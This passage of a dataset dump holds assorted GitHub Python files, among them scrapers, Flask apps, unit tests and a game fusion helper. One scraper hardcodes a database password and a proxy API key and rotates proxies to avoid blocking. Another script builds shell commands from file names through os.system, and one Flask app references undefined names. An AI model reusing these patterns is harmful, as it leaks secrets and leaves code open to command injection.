os.walk(jsondir):\n        for filex in files:          \n            #print filex\n            name,text = os.path.splitext(filex)\n            if cmp(text,fromatx) == 0:\n                jsonArr = []\n                rootdir = path\n                dirx = root[len(rootdir):]\n                pathName = dirx +os.sep + filex\n                jsonArr.append(pathName)\n                (newPath,_name) = os.path.split(pathName)\n                jsonArr.append(newPath)\n                jsonArr.append(name)\n                jsonfilelist.append(jsonArr)\n    return jsonfilelist\n\npngfiles = getAllExtFile('flypai','.png')\n\nfor l in pngfiles:\n    fpth = 'flypai' + l[0]\n    newpth = 'flypai' + os.sep + 'pai' + l[2] + '.png'\n    os.system('mv %s %s'%(fpth,newpth))\n","repo_name":"qbzjs/cmdtool","sub_path":"fileTool/rename.py","file_name":"rename.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70097588488","text":"# -*- coding: utf-8 -*-\n\n'''\nTests for basic capturing\n'''\n\nimport os\nimport os.path\nimport shutil\nimport tempfile\nimport unittest\n\nfrom unittest.mock import patch\n\nfrom pyca import ingest, config, db, utils\nfrom tests.tools import should_fail, terminate_fn\n\n\nclass TestPycaIngest(unittest.TestCase):\n\n    def setUp(self):\n        ingest.http_request = lambda x, y=False: b'xxx'\n        self.fd, self.dbfile = tempfile.mkstemp()\n        self.cadir = tempfile.mkdtemp()\n        config.config('agent')['database'] = 'sqlite:///' + self.dbfile\n        config.config('capture')['directory'] = self.cadir\n        config.config()['services']['org.opencastproject.ingest'] = ['']\n        config.config()['services']['org.opencastproject.capture.admin'] = ['']\n\n        # Mock event\n        db.init()\n        event = db.RecordedEvent()\n        event.uid = '123123'\n        event.status = db.Status.FINISHED_RECORDING\n        event.start = utils.timestamp()\n        event.end = event.start + 1\n        prop = 'org.opencastproject.capture.agent.properties'\n        dcns = 'http://www.opencastproject.org/xsd/1.0/dublincore/'\n        data = [{'data': u'äü%sÄÜß' % dcns,\n                 'fmttype': 'application/xml',\n                 'x-apple-filename': 'episode.xml'},\n                {'data': u'äü%sÄÜß' % dcns,\n                 'fmttype': 'application/xml',\n                 'x-apple-filename': 'series.xml'},\n                {'data': u'event.title=äüÄÜß\\n' +\n                         u'org.opencastproject.workflow.config.x=123\\n' +\n                         u'org.opencastproject.workflow.definition=fast',\n                 'fmttype': 'application/text',\n                 'x-apple-filename': prop}]\n        event.set_data({'attach': data})\n\n        # Create recording\n        os.mkdir(event.directory())\n        trackfile = os.path.join(event.directory(), 'test.mp4')\n        open(trackfile, 'wb').close()\n        event.set_tracks([('presenter/source', trackfile)])\n        session = db.get_session()\n        session.add(event)\n        session.commit()\n        self.event = db.RecordedEvent(event)\n\n    def tearDown(self):\n        os.close(self.fd)\n        os.remove(self.dbfile)\n        shutil.rmtree(self.cadir)\n\n    @patch(__name__+'.ingest.ingest')\n    def test_safe_start_ingest(self, ingest_fn):\n        ingest_fn.side_effect = lambda x: None\n        ingest.safe_start_ingest(self.event)\n        ingest_fn.side_effect = should_fail\n        ingest.safe_start_ingest(self.event)\n\n    def test_run(self):\n        ingest.terminate(True)\n        ingest.run()\n        ingest.terminate = terminate_fn(1)\n        ingest.run()\n        config.config('agent')['backup_mode'] = True\n        ingest.run()\n\n    def test_get_config_params(self):\n        properties = '\\n'.join([\n            'org.opencastproject.workflow.config.encode_720p=true',\n            'org.opencastproject.workflow.config.cutting=false',\n            'org.opencastproject.workflow.definition=fast',\n            'org.opencastproject.nonsense=whatever'\n            ])\n        workflow, parameters = ingest.get_config_params(properties)\n        self.assertEqual(workflow, 'fast')\n        self.assertEqual(\n                set([('encode_720p', 'true'), ('cutting', 'false')]),\n                set(parameters))\n","repo_name":"opencast/pyCA","sub_path":"tests/test_ingest.py","file_name":"test_ingest.py","file_ext":"py","file_size_in_byte":3278,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"16"}
+{"seq_id":"74868874249","text":"import time\nimport numpy as np\nfrom sklearn import datasets\nfrom sklearn.model_selection import train_test_split\n\nfrom decisionTreeClassifier import DecisionTree\n\ndef accuracy(ytrue, ypred):\n\treturn np.sum(ypred == ytrue) / len(ypred)\n\ndef makeDataset():\n\tbreastCancer = datasets.load_breast_cancer()\n\tX, y = breastCancer.data, breastCancer.target\n\treturn X, y\n\nif __name__ == \"__main__\":\n\tX, y = makeDataset()\n\txtrain, xtest, ytrain, ytest = train_test_split(X, y, random_state = 101)\n\n\tprint('='*25 + 'DECISION TREE CLASSIFIER' + '='*25 + '\\n\\n')\n\tstart = time.time()\n\ttreeModel = DecisionTree()\n\ttreeModel.fit(xtrain, ytrain)\n\tpredictions = treeModel.predict(xtest)\n\tscore = accuracy(ytest, predictions)\n\tend = time.time()\n\tprint(f'accuracy score: {score}\\n')\n\tprint(f'time taken: {end - start}\\n')","repo_name":"AryanSharma5/ML-Algorithms-From-Scratch","sub_path":"DecisionTree/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"71548369287","text":"#Imports\nfrom flask import render_template, request, redirect\nfrom app import app\nfrom app.forms import information_form\nimport os\n\n\n@app.route('/success')\ndef success():\n    return render_template('index.html', title='Success')\n\n@app.route('/')\n@app.route('/', methods=['GET', 'POST'])\ndef login():\n    form = information_form()\n    if form.validate_on_submit():\n        s3_bucket_location = form.s3_bucket.data\n        write_path = form.write_path.data\n        columns = form.columns.data\n        en_or_de = form.en_or_de.data\n        delimiter = form.delimiter.data\n        file = open(\"/home/ubuntu/InvisibleMe/src/system_info.csv\",\"w+\")\n        for info in [s3_bucket_location, write_path, en_or_de, delimiter,columns]:\n            if info == columns:\n                file.writelines(info)\n            else:\n                file.writelines(info+\",\")\n        command = \"spark-submit /home/ubuntu/InvisibleMe/src/run.py\"\n        os.system(command)\n        return redirect('/success')\n    return render_template('form.html', form=form)\n","repo_name":"SamuelDJudge/InvisibleMe","sub_path":"tools/app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14175006299","text":"from unittest import TestCase\nfrom unittest.mock import mock_open, patch\n\nfrom parameterized import parameterized\n\nfrom design_patterns.solid.srp_good.repository import Repository\nfrom design_patterns.solid.srp_good.journal import Journal\n\n\nclass TestRepository(TestCase):\n    def setUp(self) -> None:\n        self.journal = Journal()\n        self.journal.add_entry(\"Journal\")\n\n    def test_save_to_file_called_valid_store_journal(self):\n        open_mock = mock_open()\n        with patch(\"design_patterns.solid.srp_good.repository.open\", open_mock, create=True):\n            Repository.save_to_file(self.journal, \"filename\")\n\n        open_mock.assert_called_with(\"filename\", \"w\")\n        open_mock.return_value.write.assert_called_once_with(str(self.journal))\n\n\nclass TestJournal(TestCase):\n    def setUp(self) -> None:\n        self.journal = Journal()\n        self.journal.add_entry(\"Journal #1\")\n        self.journal.add_entry(\"Journal #2\")\n\n    @parameterized.expand([(0, \"1: Journal #2\"), (1, \"0: Journal #1\")])\n    def test_remove_entry_called_valid_then_remove_selected(self, pos, expected):\n        self.journal.remove_entry(pos)\n        self.assertEqual(expected, str(self.journal))\n\n    @parameterized.expand(\n        [\n            (2, ValueError),\n        ]\n    )\n    def test_remove_entry_called_invalid_then_raise_exception(self, pos, exception):\n        with self.assertRaises(exception):\n            self.journal.remove_entry(pos)\n","repo_name":"schuna/design-patterns-python","sub_path":"tests/unit/test_srp_good.py","file_name":"test_srp_good.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24758402237","text":"from operator import attrgetter\nfrom itertools import count\nimport numpy as np\nfrom random import choice\n\n\nfrom hipop.shortest_path import dijkstra\nfrom mnms.demand.user import User\nfrom mnms.time import Time\nfrom mnms.demand.manager import BaseDemandManager\n\n\ndef generate_random_demand(mlgraph: \"MultiLayerGraph\",\n                           nb_user: int,\n                           tstart=\"07:00:00\",\n                           tend=\"18:00:00\",\n                           min_cost=0,\n                           cost_path=None,\n                           distrib_time=np.random.uniform,\n                           repeat=1, seed=None) -> BaseDemandManager:\n    \"\"\"Create a random demand by using the extremities of the mobility_graph as origin destination pair, the departure\n    time use a distribution function to generate the departure between tstart and tend.\n\n    Args:\n        mmgraph: The graph use to generate the demand\n        tstart: Lower bound of departure time\n        tend: Upper boumd of departure time\n        min_cost: Minimal cost to accept an origin destination pair\n        cost_path: The name of the cost to use for shortest path\n        distrib_time: Distribution function to generate random departure dates\n        repeat: Repeat each origin destination pair\n        seed: Random seed\n\n    Returns:\n        The generated demand\n\n    \"\"\"\n    if cost_path is None:\n        cost_path = \"length\"\n\n    if seed is not None:\n        np.random.seed(seed)\n\n    tstart = Time(tstart).to_seconds()\n    tend = Time(tend).to_seconds()\n\n    demand = []\n    origins = list(mlgraph.odlayer.origins.keys())\n    destinations = list(mlgraph.odlayer.destinations.keys())\n    uid = count(0)\n\n    graph = mlgraph.graph\n    user_count = 0\n\n    map_layer_services = {lid:list(layer.mobility_services.keys())[0] for lid, layer in mlgraph.layers.items()}\n    map_layer_services[\"TRANSIT\"] = \"WALK\"\n\n    while user_count <= nb_user:\n        unode = choice(origins)\n        dnode = choice(destinations)\n\n        _, path_cost = dijkstra(graph, unode, dnode, cost_path, map_layer_services)\n        if min_cost <= path_cost < float('inf'):\n            demand.extend([User(str(next(uid)), unode, dnode, Time.from_seconds(distrib_time(tstart, tend))) for _ in\n                           range(repeat)])\n            user_count+=repeat\n\n    demand.sort(key=attrgetter('departure_time'))\n\n    uid = count(0)\n    for u in demand:\n        u.id = str(next(uid))\n    return BaseDemandManager(demand)\n\n\nif __name__ == \"__main__\":\n\n    from mnms.generation.mlgraph import generate_manhattan_passenger_car\n    from mnms.io.graph import save_odlayer, save_graph\n\n    mlgraph = generate_manhattan_passenger_car(20, 100)\n\n    demand = generate_random_demand(mlgraph,\n                                    500,\n                                    min_cost=300)\n\n    demand.to_csv(\"random_demand_20x20.csv\")\n    save_odlayer(mlgraph.odlayer, \"odlayer_20x20.json\")\n    save_graph(mlgraph, \"manhattan_20x20.json\")","repo_name":"licit-lab/MnMS","sub_path":"src/mnms/generation/demand.py","file_name":"demand.py","file_ext":"py","file_size_in_byte":2986,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"3436580106","text":"import pandas as pd\n\nfrom data import Data5Royal\nimport math\n\nfrom scripts.data_path import resource_path\n\n\nclass Persona:\n    def __init__(self, arcana: str, level: int, name: str, special: bool, ultimate: bool, dlc: bool, treasure: bool):\n        self.arcana = arcana\n        self.level = level\n        self.current_level = level\n        self.name = name\n        self.owned = False\n        self.special = special\n        self.ultimate = ultimate\n        self.dlc = dlc\n        self.treasure_demon = treasure\n        self.can_be_fused = False\n        self.fusion_material_list = []\n        self.cost = 0\n\n    def set_owned(self, owned):\n        self.owned = owned\n        if owned:\n            self.fusion_material_list = []\n            self.can_be_fused = False\n\n    def __str__(self):\n        # return f'{self.arcana} {self.level} {self.name}'\n        return f'{self.name};{self.current_level};{self.cost}'\n\n    def __repr__(self):\n        # return f'{self.arcana} {self.level} {self.name}'\n        return f'{self.name};{self.current_level};{self.cost}'\n\n\nclass FileReader:\n    def __init__(self):\n        self.persona_list = self.excel_to_persona(resource_path('data/compendium.xlsx'))\n        self.persona_map = self.create_persona_map()\n        self.reverse_fusion_map = self.create_reverse_table()\n        self.add_special_fusions()\n\n    def excel_to_persona(self, path):\n        data = pd.read_excel(path)\n        df = pd.DataFrame(data)\n        df = df.reset_index()\n        persona_list = []\n        for index, row in df.iterrows():\n            # print(row['Arcana'], row['Level'], row['Name'])\n            persona = Persona(row['Arcana'], int(row['Level']), row['Name'], str(row['Special']) == \"True\",\n                              str(row['Ultimate']) == \"True\", str(row['DLC']) == \"True\", str(row['Treasure']) == \"True\")\n            if str(row['Cost']) != \"nan\":\n                persona.cost = int(float(str(row['Cost'])))\n            persona_list.append(persona)\n        print(persona_list)\n        return persona_list\n\n    def create_reverse_table(self):\n        reverse_fusion_map = {}\n\n        for first_persona_index in range(len(self.persona_list)):\n            for second_persona_index in range(first_persona_index + 1, len(self.persona_list)):\n                p1 = self.persona_list[first_persona_index]\n                p2 = self.persona_list[second_persona_index]\n\n                if (p1.treasure_demon and not p2.treasure_demon) or (p2.treasure_demon and not p1.treasure_demon):\n                    continue\n\n                result_arcana = \"\"\n                for combo in Data5Royal.arcana2CombosRoyal:\n                    if combo['source'] == [p1.arcana, p2.arcana] or combo['source'] == [p2.arcana, p1.arcana]:\n                        result_arcana = combo['result']\n                        break\n                result_level = (p1.level + p2.level) / 2\n                result_level += 1 if result_level.is_integer() else 0.5\n\n                if result_arcana != \"\":\n                    persona = self.forward_fusion(p1.name, p2.name)\n                    if persona is not None:\n                        if persona.name in reverse_fusion_map.keys():\n                            reverse_fusion_map.get(persona.name).append((p1.name, p2.name))\n                        else:\n                            reverse_fusion_map[persona.name] = [(p1.name, p2.name)]\n\n        # print(reverse_fusion_map)\n        # print(len(reverse_fusion_map))\n        return reverse_fusion_map\n\n    def forward_fusion(self, persona1, persona2):\n        p1 = self.persona_map[persona1]\n        p2 = self.persona_map[persona2]\n\n        if (p1.treasure_demon and not p2.treasure_demon) or (p2.treasure_demon and not p1.treasure_demon):\n            self.treasure_demon_fusion(persona1, persona2)\n\n        result_arcana = \"\"\n        for combo in Data5Royal.arcana2CombosRoyal:\n            if combo['source'] == [p1.arcana, p2.arcana] or combo['source'] == [p2.arcana, p1.arcana]:\n                result_arcana = combo['result']\n                break\n        result_level = math.floor((p1.level + p2.level) / 2) + 1\n        if result_arcana != \"\":\n            result_arcana_list = [x for x in self.persona_list if x.arcana == result_arcana]\n            if p1.arcana != p2.arcana:\n                # different arcana fusion\n                for persona in result_arcana_list:\n                    if persona.special or persona.treasure_demon:\n                        continue\n                    if persona.level >= result_level:\n                        return persona\n            else:\n                # same arcana fusion\n                for persona in reversed(result_arcana_list):\n                    if persona.special or persona.treasure_demon or persona == p1 or persona == p2:\n                        continue\n                    if persona.level <= result_level:\n                        return persona\n\n    def forward_special_fusion(self, materials):\n        specials = [x for x in self.persona_map.values() if x.special]\n        for special in specials:\n            if all(x in special.fusion_material_list[0] for x in materials):\n                return special\n\n    def treasure_demon_fusion(self, persona1, persona2):\n        p1 = self.persona_map[persona1]\n        p2 = self.persona_map[persona2]\n        treasure = p1 if p1.treasure_demon else p2\n        non_treasure = p1 if not p1.treasure_demon else p2\n        arcana_list = [x for x in self.persona_list if x.arcana == non_treasure.arcana and not x.special\n                       and not x.treasure_demon]\n\n        index = Data5Royal.rarePersonaeRoyal.index(treasure.name)\n        rank = Data5Royal.rareCombosRoyal[non_treasure.arcana][index]\n\n        # find \"index\" of non treasure persona at its current level\n        counter = 0\n        for item in arcana_list:\n            if item.level > non_treasure.current_level:\n                break\n            counter += 1\n        if rank > 0:\n            counter -= 1\n\n        if len(arcana_list) > counter + rank >= 0:\n            return arcana_list[counter + rank]\n\n    def create_persona_map(self):\n        persona_map = {}\n        for persona in self.persona_list:\n            persona_map[persona.name] = persona\n        return persona_map\n\n    def add_special_fusions(self):\n        data = pd.read_excel(resource_path('data/special_compendium.xlsx'))\n        df = pd.DataFrame(data)\n        df = df.reset_index()\n        for index, row in df.iterrows():\n            p = self.persona_map[row['Name']]\n            l = []\n            for i in range(1, 7):\n                mat = row[f'Material{i}']\n                if not pd.isna(mat):\n                    l.append(mat)\n            p.fusion_material_list.append(l)\n            self.reverse_fusion_map[p.name] = [tuple(l)]\n\n    # create_reverse_table()\n\n\n# s = CompendiumScanner(FileReader().persona_map)\n# s.take_screenshot({\"top\": 260, \"left\": 590, \"width\": 40, \"height\": 20}).show()\n","repo_name":"JadaMaar/Persona5R-fusion-helper","sub_path":"scripts/persona.py","file_name":"persona.py","file_ext":"py","file_size_in_byte":6941,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"34874830591","text":"import os\nimport sys\nimport random\n\nimport tempfile\nfrom subprocess import call\n\n\ndef main(file, temporary=False):\n    tf_os, tpath = tempfile.mkstemp(dir='/home/mouna.mn/code/DIN-V2-CODE')\n    tf = open(tpath, 'w')\n\n    fd = open(file, \"r\")\n    for l in fd:\n        print >> tf, l.strip(\"\\n\")\n    tf.close()\n\n    lines = open(tpath, 'r').readlines()\n    random.shuffle(lines)\n    if temporary:\n        path, filename = os.path.split(os.path.realpath(file))\n        fd = tempfile.TemporaryFile(prefix=filename + '.shuf', dir=path)\n    else:\n        fd = open(file + '.shuf', 'w')\n\n    for l in lines:\n        s = l.strip(\"\\n\")\n        print >> fd, s\n\n    if temporary:\n        fd.seek(0)\n    else:\n        fd.close()\n\n    os.remove(tpath)\n\n    return fd\n\n\nif __name__ == '__main__':\n    main(sys.argv[1])\n\n","repo_name":"princewen/tensorflow_practice","sub_path":"recommendation/Basic-DIEN-Demo/source_code/shuffle.py","file_name":"shuffle.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":6427,"dataset":"github-code","pt":"16"}
+{"seq_id":"4797286821","text":"from flask import Flask,render_template,request,jsonify,send_file\nfrom flask import after_this_request\nimport requests\nimport random\nimport os\nimport io\nimport img2pdf\nfrom bs4 import BeautifulSoup\nimport time\nimport re\nfrom os import listdir\nimport shutil\nfrom pdfrw import PdfReader, PdfWriter, PageMerge\nfrom PyPDF2 import PdfFileReader, PdfFileWriter\n\n\n\napp=Flask(__name__)\n\n\n\n\n\n@app.route(\"/\")\ndef home():\n    return render_template(\"index.html\",title=\"home\")\n\n\n@app.route(\"/download\",methods=['GET','POST'])\ndef download(): \n    if request.method==\"POST\":\n\n        realurl=request.form['search']\n        \n\n        rannumber=random.randint(0,11)\n        directory=f\"mypdf{rannumber}\"\n        os.mkdir(directory)\n        try:\n\n            response=requests.get(realurl)\n            Soup=BeautifulSoup(response.text,\"html.parser\")\n            gather=Soup.findAll(\"div\" ,class_=\"image-thumb\")\n            urls=[images[\"data-lazy\"] for images in gather]\n            for url in urls:\n                filename = re.search(r'/([\\w_-]+[.](jpg|gif|png))$', url)\n                if not filename:\n                    statusbar.config(text=\"Regex didn't match with the url: {0}\".format(url))\n                    continue\n                with open(directory+\"/\"+filename.group(1), 'wb') as f:\n                    if 'http' not in url:\n                        url = '{}{}'.format(site, url)\n                    response = requests.get(url)                                 \n                    f.write(response.content)\n\n        except Exception as e:\n            print(e)\n\n\n\n\n        ran=random.randint(1,11111)\n        pdfname=f\"hello{ran}.pdf\"\n        \n        try:\n            with open(pdfname,\"wb\") as f:\n                try:\n                    imgs = []\n                    for fname in os.listdir(directory):\n                        if not fname.endswith(\".png\"):\n                            continue\n                        path = os.path.join(directory, fname)\n                        if os.path.isdir(path):\n                            continue\n                        imgs.append(path)\n                    f.write(img2pdf.convert(imgs))\n                except:\n                    print(\"not jpg or jpeg\")\n\n\n                try:\n                    imgs = []\n                    for fname in os.listdir(directory):\n                        if not fname.endswith(\".jpg\"):\n                            continue\n                        path = os.path.join(directory, fname)\n                        if os.path.isdir(path):\n                            continue\n                        imgs.append(path)\n                    f.write(img2pdf.convert(imgs))\n                except:\n                    print(\"not png or jpeg\")\n\n\n                try:\n                    imgs = []\n                    for fname in os.listdir(directory):\n                        if not fname.endswith(\".jpeg\"):\n                            continue\n                        path = os.path.join(directory, fname)\n                        if os.path.isdir(path):\n                            continue\n                        imgs.append(path)\n                    f.write(img2pdf.convert(imgs))\n                except:\n                    print(\"not png or jpg\")\n        except Exception as e:\n            print(e)\n\n\n        with open(pdfname,'rb') as file:\n            return_data = io.BytesIO(file.read())\n        return_data.seek(0)\n        shutil.rmtree(directory)\n        os.remove(pdfname)\n        ran=random.randint(0,111)\n        return send_file(return_data,as_attachment=True,mimetype='application/pdf',attachment_filename=f\"mypdf{ran}.pdf\")\n\n\n\n\n\nif __name__==\"__main__\":\n    app.run(debug=True,host=\"192.168.1.204\")","repo_name":"ShreyasMohite/xhamster-pic-download","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3692,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"70421424649","text":"parameters = [['IM', 'OSM'], ['KommaS', 'PlusS'], ['IR', 'DR', 'GIR', 'GDR']]\nfor mutation_input in range(1,3):\n    for selection_input in range(1,3):\n        for recombination_input in range(1,5):\n            for initial_sigma in range(1,11):\n                for num_parents in range(2,21):\n                    for num_offspring in range(2,21):\n                        test = str(parameters[0][mutation_input-1]) + ' '+ str(parameters[1][selection_input-1]) + ' ' + str(parameters[2][recombination_input-1]) + ' ' + (f\"IS:{initial_sigma/100}\") + ' ' + (f\"NP:{num_parents}\") + ' ' + (f'NO:{num_offspring}')\n                        print(type(test))\n                        break\n                    break\n                break\n            break\n        break\n    break\n\nparameters = [['IM', 'OSM'], ['KommaS', 'PlusS'], ['IR', 'DR', 'GIR', 'GDR']]","repo_name":"Knightjulius/EA-Ass","sub_path":"Vis.py","file_name":"Vis.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18621603110","text":"import random\nfrom datetime import datetime\n\nimport requests\nimport redis\nimport pymysql\n\n# 链接MySQL数据库\nconn = pymysql.Connect(host='10.10.107.7', user='root', password='xinqian@saibao', database='bigdata', port=3306)\ncursor = conn.cursor()\n# 链接Redis数据库\nredisDB = redis.Redis(host='127.0.0.1', port=6379, db=2)\n# 固定资产投资完成额变化\nredis_dict_key = 'ods_cnncnybgdzctzwcebhnd'\n\n\n# 获取讯代理IP\ndef getIp():\n    xdl_url = 'http://api.xdaili.cn/xdaili-api//greatRecharge/getGreatIp?spiderId=913d4f4b67e24be0998a3eb344ff732b&orderno=YZ2021923652gUFZCj&returnType=2&count=10'\n    ipListData = requests.get(url=xdl_url).json()\n    ipList = []\n    ipList.clear()\n    # 将ip以字典的形式添加至ip池\n    for everyIp in ipListData['RESULT']:\n        ipList.append({\n            'ip': everyIp['ip'],\n            'port': everyIp['port']\n        })\n    return ipList\n\n\ndef insertMysql(item):\n    if redisDB.hexists(redis_dict_key, item['completedAmountofSocialInvestment'] + '-' + item['Ctime'] + '-' + item[\n        'nlmyCompletionAmount']):\n        print('已存在该值，不作处理...')\n    else:\n        redisDB.hset(redis_dict_key, item['completedAmountofSocialInvestment'] + '-' + item['Ctime'] + '-' + item[\n            'nlmyCompletionAmount'], 0)\n        sql = 'insert into ods_chinanongcunnongyebugdzctzwcebhnd(classification,completedAmountofSocialInvestment,Ctime,nlmyCompletionAmount,nlmyProportion,unit,insertTime)values (%s,%s,%s,%s,%s,%s,%s)'\n        cursor.execute(sql, (item['classification'],\n                             item['completedAmountofSocialInvestment'], item['Ctime'], item['nlmyCompletionAmount'],\n                             item['nlmyProportion'], item['unit'], item['insertTime']))\n        print('正在插入数据，请稍等...')\n        conn.commit()\n\n\ndef getData():\n    url = 'http://zdscxx.moa.gov.cn:8080/nyb/qggdzctz'\n    item = {}\n    headers = {\n        'Referer': 'http://zdscxx.moa.gov.cn:8080/nyb/pc/index.jsp',\n        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.8 Safari/537.36',\n        'X-Requested-With': 'XMLHttpRequest',\n    }\n    data = {\n        'item': '年度'\n    }\n    ip = random.choice(ipList)\n    response = requests.post(url=url, headers=headers, data=data,\n                             proxies={'http': 'http://' + ip['ip'] + ':' + ip['port']}).json()['result']['rowDatas']\n    item['classification'] = '年度'\n    for perData in response:\n        # 全社会固定资产投资完成额\n        item['completedAmountofSocialInvestment'] = perData['全社会固定资产投资完成额']\n        # 时间\n        item['Ctime'] = perData['时间']\n        try:\n            # 农、林、牧、渔业全社会固定资产投资完成额\n            item['nlmyCompletionAmount'] = perData['农、林、牧、渔业全社会固定资产投资完成额']\n        except:\n            item['nlmyCompletionAmount'] = ''\n        try:\n            # 农、林、牧、渔业投资占比(%)\n            item['nlmyProportion'] = perData['农、林、牧、渔业投资占比(%)']\n        except:\n            item['nlmyProportion'] = ''\n        # 单位\n        item['unit'] = '亿元'\n        # 插入时间\n        item['insertTime'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n        insertMysql(item)\n\n\nif __name__ == '__main__':\n    ipList = getIp()\n    getData()\n    cursor.close()\n    conn.close()\n","repo_name":"CuiXiangTuT/MyProject","sub_path":"WebCrawler/中华人民共和国农业农村部/3_宏观经济_固定资产投资完成额变化年度.py","file_name":"3_宏观经济_固定资产投资完成额变化年度.py","file_ext":"py","file_size_in_byte":3469,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"6004427112","text":"import requests\nfrom bs4 import BeautifulSoup as BS\n\n\npage = 4735\ncount = 1\n\nwith open('data.txt', 'w', encoding='utf-8') as f:\n    while count < page:\n        r = requests.get(\"https://www.unipage.net/ru/cities?page=\"+str(count)+\"&per-page=10\")\n        html = BS(r.content, \"html.parser\")\n        selector = html.select(\".generated-card-header__title\")\n\n        if len(selector):\n            for el in selector:\n                text = el.select(\"a\")\n                for i in text:\n                    f.write(i.text + '\\n')\n        else: print(\"ERROR\")\n        count += 1\n\nprint(\"[INFO] Success\")\n","repo_name":"sewaustav/BedolagaV1.5-Vosk","sub_path":"testgpt.py","file_name":"testgpt.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31077099254","text":"# desafios: 12 - Faça um algoritmo que leia o preço de um produto e mostre seu novo preço, com 5% de desconto.\n\nproduto = str(input('Informe o nome do produto: '))\npreco = float(input('Qual o valor desse produto: '))\ndesconto = float(input('Desconto do dia: '))\n\ncalculo = preco * desconto\ncalculo2 = calculo /100\ncalculo3 = preco - calculo2\n\nprint(' * Oferta do dia: {}\\n * Preço: R$ {} \\n * Produto com desconto de {} % \\n * Valor da Oferta: R$ {:.2f}' .format( produto, preco, desconto, calculo3))\n# print (produto, preco, desconto, calculo, calculo2, calculo3)\n\n# Solução\n\npreco = float(input('Qual é o preço do produto? R$ '))\nnovo = preco - (preco * 5 /100)\nprint('O produto que custava R$ {}, na promoção com desconto de 5% vai custar R$ {}' .format(preco, novo))","repo_name":"lexxbr/Python_port","sub_path":"Python/aula07 - DESAFIO 12 - DESCONTO PERCENTUAL.py","file_name":"aula07 - DESAFIO 12 - DESCONTO PERCENTUAL.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28109693003","text":"from gl_utils import draw_gl_polyline,draw_gl_point\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import gluOrtho2D\n\nfrom glfw import glfwGetWindowSize,glfwGetCurrentContext,glfwGetCursorPos,GLFW_RELEASE,GLFW_PRESS\nfrom plugin import Plugin\n\nimport logging\nlogger = logging.getLogger(__name__)\n\nclass Trim_Marks(Plugin):\n    \"\"\"docstring for Trim_Mark\n    \"\"\"\n    def __init__(self, g_pool,capture):\n        super(Trim_Marks, self).__init__()\n        self.order = .8\n        self.g_pool = g_pool\n        self.capture = capture\n        self.frame_count = capture.get_frame_count()\n        self._in_mark = 0\n        self._out_mark = self.frame_count\n        self.drag_in = False\n        self.drag_out = False\n        #display layout\n        self.padding = 20. #in sceen pixel\n\n    @property\n    def in_mark(self):\n        return self._in_mark\n\n    @in_mark.setter\n    def in_mark(self, value):\n        self._in_mark = int(min(self._out_mark,max(0,value)))\n\n    @property\n    def out_mark(self):\n        return self._out_mark\n\n    @out_mark.setter\n    def out_mark(self, value):\n        self._out_mark = int(min(self.frame_count,max(self.in_mark,value)))\n\n\n    def init_gui(self):\n        self.on_window_resize(glfwGetCurrentContext(),*glfwGetWindowSize(glfwGetCurrentContext()))\n\n    def on_window_resize(self,window,w,h):\n        self.window_size = w,h\n        self.h_pad = self.padding * self.frame_count/float(w)\n        self.v_pad = self.padding * 1./h\n\n    def update(self,frame,recent_pupil_positions,events):\n\n        if frame.index == self.out_mark or frame.index == self.in_mark:\n            self.g_pool.play=False\n\n        if self.drag_in:\n            x,y = glfwGetCursorPos(glfwGetCurrentContext())\n            x,_ = self.screen_to_bar_space((x,y))\n            self.in_mark = x\n\n        elif self.drag_out:\n            x,y = glfwGetCursorPos(glfwGetCurrentContext())\n            x,_ = self.screen_to_bar_space((x,y))\n            self.out_mark = x\n\n\n    def on_click(self,img_pos,button,action):\n        \"\"\"\n        gets called when the user clicks in the window screen\n        \"\"\"\n        pos = glfwGetCursorPos(glfwGetCurrentContext())\n        #drag the seek point\n        if action == GLFW_PRESS:\n            screen_in_mark_pos = self.bar_space_to_screen((self.in_mark,0))\n            screen_out_mark_pos = self.bar_space_to_screen((self.out_mark,0))\n\n            #in mark\n            dist = abs(pos[0]-screen_in_mark_pos[0])+abs(pos[1]-screen_in_mark_pos[1])\n            if dist < 10:\n                if self.distance_in_pix(self.in_mark,self.capture.get_frame_index()) > 20:\n                    self.drag_in=True\n                    return\n            #out mark\n            dist = abs(pos[0]-screen_out_mark_pos[0])+abs(pos[1]-screen_out_mark_pos[1])\n            if dist < 10:\n                if self.distance_in_pix(self.out_mark,self.capture.get_frame_index()) > 20:\n                    self.drag_out=True\n\n        elif action == GLFW_RELEASE:\n            self.drag_out = False\n            self.drag_in = False\n\n    def atb_get_in_mark(self):\n        return self.in_mark\n    def atb_get_out_mark(self):\n        return self.out_mark\n    def atb_set_in_mark(self,val):\n        self.in_mark = val\n   